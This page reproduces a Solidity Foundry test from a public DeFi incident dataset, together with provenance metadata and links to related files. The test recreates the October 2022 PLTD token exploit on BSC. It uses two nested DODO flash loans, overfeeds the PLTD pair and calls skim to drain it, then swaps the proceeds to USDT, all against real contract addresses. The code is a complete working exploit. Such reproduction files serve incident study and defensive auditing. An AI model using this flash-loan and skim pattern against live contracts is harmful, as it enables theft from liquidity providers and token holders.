Public reproduction file
src/test/2022-10/PLTD_exp.sol
Public reproduction file for dataset entry PLTD.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1//SPDX-License-Identifier: MIT2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/15821815833434849289// TX10// https://bscscan.com/tx/0x8385625e9d8011f4ad5d023d64dc7985f0315b6a4be37424c7212fe4c10dafe012contract ContractTest is Test {13 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);14 IERC20 PLTD = IERC20(0x29b2525e11BC0B0E9E59f705F318601eA6756645);15 Uni_Pair_V2 Pair = Uni_Pair_V2(0x4397C76088db8f16C15455eB943Dd11F2DF56545);16 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);17 address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;18 address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);21 function setUp() public {22 cheats.createSelectFork("bsc", 22_252_045);23 }25 function testExploit() external {26 USDT.approve(address(Router), type(uint256).max);27 PLTD.approve(address(Router), type(uint256).max);28 DVM(dodo1).flashLoan(0, 220_000 * 1e18, address(this), new bytes(1));30 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);31 }33 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {34 if (msg.sender == dodo1) {35 DVM(dodo2).flashLoan(0, 440_000 * 1e18, address(this), new bytes(1));36 USDT.transfer(dodo1, 220_000 * 1e18);37 }38 if (msg.sender == dodo2) {39 USDTToPLTD();40 uint256 amount = PLTD.balanceOf(address(Pair));41 PLTD.transfer(address(Pair), amount * 2 - 1);42 Pair.skim(address(this));43 PLTD.transfer(tx.origin, 1e18);44 PLTDToUSDT();45 USDT.transfer(dodo2, 440_000 * 1e18);46 }47 }49 function USDTToPLTD() internal {50 address[] memory path = new address[](2);51 path[0] = address(USDT);52 path[1] = address(PLTD);53 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(54 660_000 * 1e18, 0, path, address(this), block.timestamp55 );56 }58 function PLTDToUSDT() internal {59 address[] memory path = new address[](2);60 path[0] = address(PLTD);61 path[1] = address(USDT);62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(63 PLTD.balanceOf(address(this)), 0, path, address(this), block.timestamp64 );65 }66}Analysis
Dataset entry
Public Foundry test for “PLTD” (2022-10-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- PLTD
- Path
- src/test/2022-10/PLTD_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0eb2ff6f104e93ae87d09edecd1596479bbcfd2d
- Language
- Solidity
- Size
- 67 lines
- Date
- 2022-10-18
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/PLTD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0eb2ff6f104e93ae87d09edecd1596479bbcfd2d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.